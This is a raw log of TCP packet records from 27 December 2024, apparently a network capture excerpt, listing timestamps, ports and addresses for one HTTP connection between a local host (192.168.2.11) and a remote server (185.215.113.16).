Dec 27, 2024 09:02:39.110284090 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.110322952 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.111345053 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.111505032 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.111543894 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.112708092 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.112724066 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.112762928 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.113343000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.113358974 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.113396883 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.113765955 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.113780975 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.113848925 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.114862919 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.115010023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.115256071 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.116067886 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.116239071 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.116453886 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.117238045 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.117281914 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.117364883 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.118452072 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.118521929 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.118561029 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.119740963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.119771004 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.119810104 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.120940924 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.121078968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.121118069 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.122093916 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.122174978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.122417927 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.123357058 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.123435974 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.123517036 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.124178886 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.124268055 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.124515057 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.128850937 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.128869057 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.128884077 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.128901005 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.128933907 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.129038095 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.132272959 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.265786886 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.265934944 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.265986919 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.266361952 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.266649008 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.266690016 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.266753912 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.267834902 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.267882109 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.267946005 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.269138098 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.269154072 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.269187927 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.270251989 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.270375013 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.270401955 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.271486998 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.271528006 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.271538019 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.272686005 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.272730112 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.272799969 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.273940086 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.273994923 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.274019957 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.275119066 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.275177002 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.275192976 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.276278973 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.276312113 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.276384115 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.277529955 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.277574062 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.277606964 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.278701067 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.278840065 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.278871059 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.279992104 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.280036926 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.280047894 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.280916929 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.281112909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.281162024 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.281239033 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.282373905 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.282413960 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.282423019 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.283653021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.283669949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.283689976 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.284754038 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.284882069 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.284926891 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.285979033 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.286030054 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.286094904 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.287179947 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.287244081 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.287307978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.288585901 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.288608074 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.288779020 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.289719105 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.289741993 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.289776087 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.290815115 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.290833950 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.290911913 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.290977955 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.292138100 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.292155027 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.292175055 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.293230057 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.293292999 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.293360949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.294539928 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.294555902 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.294583082 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.295711994 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.295753002 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.295773029 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.296847105 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.296886921 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.296957016 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.298095942 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.298177958 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.298238993 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.299354076 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.299411058 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.299854040 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.300612926 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.300626993 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.300651073 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.301805019 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.301820040 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.301870108 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.301970959 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.303006887 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.303023100 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.303069115 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.304131031 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.304207087 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.304249048 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.305404902 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.305454969 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.305543900 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.306643009 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.306658030 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.306684971 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.307768106 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.307823896 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.307864904 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.309065104 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.309081078 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.309098959 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.310280085 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.310348988 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.310379982 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.310398102 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.311386108 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.311503887 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.311572075 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.312675953 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.312691927 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.312719107 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.313872099 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.313925028 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.313972950 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.315051079 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.315089941 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.315186024 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.316281080 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.316356897 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.316512108 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.317482948 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.317528963 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.317604065 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.318672895 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.318717003 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.318748951 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.319879055 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.319916964 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.320142031 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.321171045 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.321186066 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.321217060 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.322279930 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.322294950 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.322328091 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.323486090 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.323545933 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.323591948 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.324665070 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.324678898 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.324716091 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.325336933 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.325443029 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.325483084 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.326597929 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.326621056 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.326663017 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.327769995 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.327822924 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.327853918 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.328939915 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.328995943 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.337404966 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.369223118 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.467382908 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.467572927 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.467648983 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.467952013 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.467993021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.468039036 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.469147921 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.469211102 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.470268011 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.470324993 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.470343113 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.471587896 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.471605062 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.471628904 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.471648932 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.472687960 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.472758055 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.472801924 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.473880053 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.474047899 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.474585056 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.475085974 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.475125074 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.475171089 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.476236105 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.476361990 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.476406097 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.477505922 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.477524042 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.477572918 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.478667021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.478683949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.478739977 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.479756117 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.479816914 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.479862928 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.480914116 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.481175900 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.481479883 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.481528044 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.482182026 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.482357025 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.482407093 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.483290911 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.483381987 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.483431101 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.484461069 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.484504938 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.484555006 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.485666037 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.485972881 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.486012936 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.486829996 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.486953020 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.486995935 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.488091946 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.488131046 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.488218069 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.489303112 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.489398956 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.489460945 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.490550995 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.490701914 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.490741014 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.491604090 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.491775990 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.491828918 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.492762089 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.492953062 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.492996931 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.493947983 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.494055033 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.494100094 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.494826078 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.495158911 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.495224953 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.495856047 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.496345997 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.496510983 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.496557951 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.497522116 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.497646093 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.498800039 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.498848915 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.498859882 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.498883963 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.499954939 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.499973059 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.500024080 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.501110077 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.501178980 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.501219034 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.502281904 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.502413988 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.502484083 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.503526926 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.503542900 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.503582001 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.504654884 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.504736900 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.504781961 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.505928040 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.505958080 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.506010056 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.506995916 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.507033110 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.507077932 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.508255005 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.508276939 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.508323908 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.509373903 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.509391069 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.509434938 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.510597944 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.510696888 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.511687040 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.511770010 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.511850119 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.512742043 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.512937069 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.512996912 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.513041019 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:39.514091969 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:39.514288902 CET	80	49768	185.215.113.16	192.168.2.11
